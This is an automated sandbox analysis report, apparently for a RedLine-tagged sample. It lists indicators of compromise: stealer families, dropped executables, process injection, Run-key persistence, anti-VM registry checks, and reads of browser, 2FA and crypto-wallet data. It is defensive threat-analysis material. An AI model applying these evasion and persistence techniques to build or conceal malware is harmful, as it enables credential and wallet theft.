redline | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

Change Default File Association

T1042

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5180	3584	rundll32.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5636	3584	rundll32.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5020	3584	rundll32.exe	17

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral10/memory/2060-283-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/2060-282-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral10/memory/5296-362-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/5900-417-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/3940-550-0x000000000041C5E2-mapping.dmp	family_redline
behavioral10/memory/4152-604-0x000000000041C5E2-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral10/files/0x000400000001ab15-187.dat	family_socelars
behavioral10/files/0x000400000001ab15-154.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 6116 created 4412	6116	WerFault.exe	99
PID 5804 created 3340	5804	WerFault.exe	116
PID 7720 created 6652	7720	WerFault.exe	201

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 500 created 5728	500	svchost.exe	329
PID 500 created 8140	500	svchost.exe	302

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

rl_trojan 4 IoCs

redline stealer.

stealer

resource	yara_rule
behavioral10/files/0x000500000001ab19-180.dat	redline
behavioral10/files/0x000500000001ab19-148.dat	redline
behavioral10/files/0x000500000001ab19-229.dat	redline
behavioral10/files/0x000500000001ab19-286.dat	redline

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral10/memory/4512-211-0x00000000048C0000-0x0000000004991000-memory.dmp	family_vidar
behavioral10/memory/4512-230-0x0000000000400000-0x0000000002BB2000-memory.dmp	family_vidar
behavioral10/memory/4568-331-0x0000000004870000-0x0000000004941000-memory.dmp	family_vidar
behavioral10/memory/4568-348-0x0000000000400000-0x0000000002BB2000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral10/files/0x000400000001ab0c-124.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab0c-125.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab0d-123.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab0d-127.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab0f-128.dat	aspack_v212_v242
behavioral10/files/0x000400000001ab0f-129.dat	aspack_v212_v242

Blocklisted process makes network request 49 IoCs

flow	pid	Process
186	6196	powershell.exe
308	7180	MsiExec.exe
315	7180	MsiExec.exe
319	7180	MsiExec.exe
323	7180	MsiExec.exe
325	7180	MsiExec.exe
326	7180	MsiExec.exe
328	7180	MsiExec.exe
330	7180	MsiExec.exe
332	7180	MsiExec.exe
335	7180	MsiExec.exe
337	7180	MsiExec.exe
340	7180	MsiExec.exe
342	7180	MsiExec.exe
343	7180	MsiExec.exe
344	7180	MsiExec.exe
346	7180	MsiExec.exe
349	7180	MsiExec.exe
350	7180	MsiExec.exe
351	7180	MsiExec.exe
352	7180	MsiExec.exe
355	7180	MsiExec.exe
358	7180	MsiExec.exe
360	7180	MsiExec.exe
363	7180	MsiExec.exe
365	7180	MsiExec.exe
366	7180	MsiExec.exe
370	7180	MsiExec.exe
373	7180	MsiExec.exe
376	7180	MsiExec.exe
378	7180	MsiExec.exe
381	7180	MsiExec.exe
383	7180	MsiExec.exe
384	7180	MsiExec.exe
386	7180	MsiExec.exe
387	7180	MsiExec.exe
391	7180	MsiExec.exe
393	7180	MsiExec.exe
395	7180	MsiExec.exe
397	7180	MsiExec.exe
400	7180	MsiExec.exe
403	7180	MsiExec.exe
405	7180	MsiExec.exe
408	7180	MsiExec.exe
409	7180	MsiExec.exe
410	7180	MsiExec.exe
413	7180	MsiExec.exe
415	7180	MsiExec.exe
416	7180	MsiExec.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	46807GHF____.exe

Executes dropped EXE 64 IoCs

pid	Process
1352	setup_installer.exe
3864	setup_install.exe
4264	Tue11b9d76a96506.exe
4292	Tue11d7385a978cc.exe
4380	Tue11f251db82fb7b.exe
4412	Tue1109eec571ac.exe
4436	Tue11bc0507b56295.exe
4488	Tue11e4e580f2e8141a3.exe
4512	Tue112c483dd3245d.exe
4504	Tue11141271fbe5877f.exe
4536	Tue11b9d76a96506.tmp
4560	Tue118f55232e4.exe
4956	46807GHF____.exe
5012	LzmwAqmV.exe
5080	8391584.exe
4872	Tue11e4e580f2e8141a3.exe
4356	Chrome 5.exe
4288	6129850.exe
3852	PublicDwlBrowser1100.exe
4568	Alfanewfile2.exe
1600	2.exe
3340	setup.exe
4740	setup_2.exe
5104	3002.exe
2060	Tue11e4e580f2e8141a3.exe
4100	WinHoster.exe
4276	setup_2.tmp
4904	jhuuee.exe
4432	BearVpn 3.exe
832	setup_2.exe
5232	setup_2.tmp
1200	Tue11e4e580f2e8141a3.exe
5416	3002.exe
5496	5529147.exe
5728	LzmwAqmV.exe
5296	Tue11e4e580f2e8141a3.exe
5844	postback.exe
5832	7732803.exe
5280	5383427.exe
4260	7364241.exe
5900	Tue11e4e580f2e8141a3.exe
3200	Tue11e4e580f2e8141a3.exe
6004	ultramediaburner.exe
4236	Vizhokaqyca.exe
5192	ultramediaburner.tmp
5288	Qyfejarishae.exe
4940	cmd.exe
5680	UltraMediaBurner.exe
5988	3003059.exe
4764	5986863.exe
5332	Tue11e4e580f2e8141a3.exe
3940	Tue11e4e580f2e8141a3.exe
4152	Tue11e4e580f2e8141a3.exe
5180	Tue11e4e580f2e8141a3.exe
6076	services64.exe
5816	Tue11e4e580f2e8141a3.exe
6368	Tue11e4e580f2e8141a3.exe
6944	Tue11e4e580f2e8141a3.exe
6652	GcleanerEU.exe
7036	installer.exe
6612	fy2JavA1J.exe
6512	Tue11e4e580f2e8141a3.exe
6376	anyname.exe
6556	rnyuf.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5529147.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5529147.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3003059.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3003059.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Vizhokaqyca.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Tue11e4e580f2e8141a3.exe

Loads dropped DLL 49 IoCs

pid	Process
3864	setup_install.exe
3864	setup_install.exe
3864	setup_install.exe
3864	setup_install.exe
3864	setup_install.exe
3864	setup_install.exe
3864	setup_install.exe
4536	Tue11b9d76a96506.tmp
4276	setup_2.tmp
5204	rundll32.exe
5232	setup_2.tmp
6124	rundll32.exe
4512	Tue112c483dd3245d.exe
4512	Tue112c483dd3245d.exe
7036	installer.exe
7036	installer.exe
4568	Alfanewfile2.exe
4568	Alfanewfile2.exe
7036	installer.exe
7772	MsiExec.exe
7772	MsiExec.exe
7188	rundll32.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7180	MsiExec.exe
7036	installer.exe
7180	MsiExec.exe
7180	MsiExec.exe
7328	MsiExec.exe
7328	MsiExec.exe
7328	MsiExec.exe
7328	MsiExec.exe
7328	MsiExec.exe
7328	MsiExec.exe
7328	MsiExec.exe
7180	MsiExec.exe
4276	FileSyncConfig.exe
4276	FileSyncConfig.exe
4276	FileSyncConfig.exe
4276	FileSyncConfig.exe
4276	FileSyncConfig.exe
4276	FileSyncConfig.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	6129850.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Portable Devices\\Turybasepa.exe\""	46807GHF____.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5529147.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3003059.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	installer.exe
File opened (read-only)	\??\Z:	installer.exe
File opened (read-only)	\??\G:	installer.exe
File opened (read-only)	\??\L:	installer.exe
File opened (read-only)	\??\M:	installer.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	installer.exe
File opened (read-only)	\??\E:	installer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	installer.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	installer.exe
File opened (read-only)	\??\V:	installer.exe
File opened (read-only)	\??\W:	installer.exe
File opened (read-only)	\??\X:	installer.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\N:	installer.exe
File opened (read-only)	\??\R:	installer.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	installer.exe
File opened (read-only)	\??\U:	installer.exe
File opened (read-only)	\??\Q:	installer.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	installer.exe
File opened (read-only)	\??\P:	installer.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\F:	installer.exe
File opened (read-only)	\??\I:	installer.exe
File opened (read-only)	\??\Y:	installer.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	installer.exe
File opened (read-only)	\??\S:	installer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
106	ip-api.com
49	ip-api.com

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90}	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #1	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #5	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #6	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #3	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 59A0B35337385A41	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\rnyuf.exe	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedUpdater	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5496	5529147.exe
5988	3003059.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 4488 set thread context of 2060	4488	Tue11e4e580f2e8141a3.exe	111
PID 216 set thread context of 5432	216	svchost.exe	135
PID 4488 set thread context of 5296	4488	Tue11e4e580f2e8141a3.exe	132
PID 4488 set thread context of 5900	4488	Tue11e4e580f2e8141a3.exe	143
PID 5844 set thread context of 5776	5844	postback.exe	153
PID 4488 set thread context of 3940	4488	Tue11e4e580f2e8141a3.exe	168
PID 4488 set thread context of 4152	4488	Tue11e4e580f2e8141a3.exe	175
PID 4488 set thread context of 5816	4488	Tue11e4e580f2e8141a3.exe	181
PID 4488 set thread context of 6368	4488	Tue11e4e580f2e8141a3.exe	188
PID 4488 set thread context of 6944	4488	Tue11e4e580f2e8141a3.exe	194
PID 4488 set thread context of 6512	4488	Tue11e4e580f2e8141a3.exe	200
PID 4488 set thread context of 7048	4488	Tue11e4e580f2e8141a3.exe	209
PID 4488 set thread context of 6400	4488	Tue11e4e580f2e8141a3.exe	216
PID 4488 set thread context of 7676	4488	Tue11e4e580f2e8141a3.exe	225
PID 4488 set thread context of 7248	4488	Tue11e4e580f2e8141a3.exe	232
PID 4488 set thread context of 7696	4488	Tue11e4e580f2e8141a3.exe	237
PID 4488 set thread context of 6708	4488	Tue11e4e580f2e8141a3.exe	241
PID 4488 set thread context of 6684	4488	Tue11e4e580f2e8141a3.exe	243
PID 4488 set thread context of 4408	4488	Tue11e4e580f2e8141a3.exe	255
PID 6076 set thread context of 6568	6076	services64.exe	262
PID 4488 set thread context of 5164	4488	Tue11e4e580f2e8141a3.exe	259
PID 4488 set thread context of 3504	4488	Tue11e4e580f2e8141a3.exe	265
PID 4488 set thread context of 4688	4488	Tue11e4e580f2e8141a3.exe	266
PID 4488 set thread context of 7980	4488	Tue11e4e580f2e8141a3.exe	268
PID 4488 set thread context of 5696	4488	Tue11e4e580f2e8141a3.exe	269
PID 4488 set thread context of 6696	4488	Tue11e4e580f2e8141a3.exe	272
PID 4488 set thread context of 7260	4488	Tue11e4e580f2e8141a3.exe	275
PID 4488 set thread context of 7468	4488	Tue11e4e580f2e8141a3.exe	279
PID 4488 set thread context of 5940	4488	Tue11e4e580f2e8141a3.exe	280
PID 4488 set thread context of 6428	4488	Tue11e4e580f2e8141a3.exe	281
PID 4488 set thread context of 3448	4488	Tue11e4e580f2e8141a3.exe	282
PID 4488 set thread context of 1424	4488	Tue11e4e580f2e8141a3.exe	287
PID 4488 set thread context of 5424	4488	Tue11e4e580f2e8141a3.exe	289
PID 4488 set thread context of 6472	4488	Tue11e4e580f2e8141a3.exe	290
PID 4488 set thread context of 7944	4488	Tue11e4e580f2e8141a3.exe	293
PID 4488 set thread context of 5208	4488	Tue11e4e580f2e8141a3.exe	294
PID 4488 set thread context of 4748	4488	Tue11e4e580f2e8141a3.exe	295
PID 4488 set thread context of 4132	4488	Tue11e4e580f2e8141a3.exe	298
PID 4488 set thread context of 1780	4488	Tue11e4e580f2e8141a3.exe	301
PID 4488 set thread context of 5932	4488	Tue11e4e580f2e8141a3.exe	303
PID 4488 set thread context of 7044	4488	Tue11e4e580f2e8141a3.exe	304
PID 4488 set thread context of 2332	4488	Tue11e4e580f2e8141a3.exe	306
PID 4488 set thread context of 8136	4488	Tue11e4e580f2e8141a3.exe	307
PID 4488 set thread context of 6784	4488	Tue11e4e580f2e8141a3.exe	308
PID 4488 set thread context of 7312	4488	Tue11e4e580f2e8141a3.exe	310
PID 4488 set thread context of 5480	4488	Tue11e4e580f2e8141a3.exe	311
PID 4488 set thread context of 8108	4488	Tue11e4e580f2e8141a3.exe	313
PID 4488 set thread context of 7424	4488	Tue11e4e580f2e8141a3.exe	314
PID 4488 set thread context of 3996	4488	Tue11e4e580f2e8141a3.exe	315
PID 4488 set thread context of 4372	4488	Tue11e4e580f2e8141a3.exe	317
PID 4488 set thread context of 2808	4488	Tue11e4e580f2e8141a3.exe	319
PID 4488 set thread context of 5620	4488	Tue11e4e580f2e8141a3.exe	320
PID 4488 set thread context of 7940	4488	Tue11e4e580f2e8141a3.exe	321
PID 4488 set thread context of 6292	4488	Tue11e4e580f2e8141a3.exe	324
PID 4488 set thread context of 5252	4488	Tue11e4e580f2e8141a3.exe	325
PID 4488 set thread context of 4544	4488	Tue11e4e580f2e8141a3.exe	326
PID 4488 set thread context of 7284	4488	Tue11e4e580f2e8141a3.exe	327
PID 4488 set thread context of 5808	4488	Tue11e4e580f2e8141a3.exe	328
PID 4488 set thread context of 7180	4488	Tue11e4e580f2e8141a3.exe	331
PID 4488 set thread context of 7004	4488	Tue11e4e580f2e8141a3.exe	332
PID 4488 set thread context of 5572	4488	Tue11e4e580f2e8141a3.exe	333
PID 4488 set thread context of 5612	4488	Tue11e4e580f2e8141a3.exe	335
PID 4488 set thread context of 5088	4488	Tue11e4e580f2e8141a3.exe	340
PID 4488 set thread context of 6380	4488	Tue11e4e580f2e8141a3.exe	341

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk	msiexec.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\Windows Portable Devices\Turybasepa.exe	46807GHF____.exe
File created	C:\Program Files (x86)\Windows Portable Devices\Turybasepa.exe.config	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	msiexec.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-OS15V.tmp	setup_2.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-K9648.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini	msiexec.exe
File created	C:\Program Files\Common Files\QYRWPYRZGJ\ultramediaburner.exe	46807GHF____.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-2NU90.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url	msiexec.exe
File created	C:\Program Files\Common Files\QYRWPYRZGJ\ultramediaburner.exe.config	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp

Drops file in Windows directory 45 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI4434.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CFC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File created	C:\Windows\Installer\f753e26.msi	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI429B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI43F4.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI422C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9121.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9E17.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Process not Found
File opened for modification	C:\Windows\Installer\f753e23.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9026.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI4386.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8EFC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9F03.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI4065.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9E76.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA271.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI8852.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9B45.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSI9F72.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D7A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B03.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8DE2.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File created	C:\Windows\Installer\f753e23.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI41ED.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 26 IoCs

pid	pid_target	Process	procid_target
4236	4412	WerFault.exe	99
5396	4412	WerFault.exe	99
5636	3340	WerFault.exe	116
6004	3340	WerFault.exe	116
5888	4412	WerFault.exe	99
5228	3340	WerFault.exe	116
4620	3340	WerFault.exe	116
4380	4412	WerFault.exe	99
5928	4412	WerFault.exe	99
5676	3340	WerFault.exe	116
4332	3340	WerFault.exe	116
4176	4412	WerFault.exe	99
3952	5080	WerFault.exe	110
4960	3340	WerFault.exe	116
4520	3340	WerFault.exe	116
4940	4412	WerFault.exe	99
6116	4412	WerFault.exe	99
5804	3340	WerFault.exe	116
8000	6652	WerFault.exe	201
8144	6652	WerFault.exe	201
1612	6652	WerFault.exe	201
4392	6652	WerFault.exe	201
7892	6652	WerFault.exe	201
8040	7192	WerFault.exe	218
7600	6652	WerFault.exe	201
7720	6652	WerFault.exe	201

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ueafdjg
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ueafdjg
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ueafdjg

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Alfanewfile2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Alfanewfile2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Tue112c483dd3245d.exe
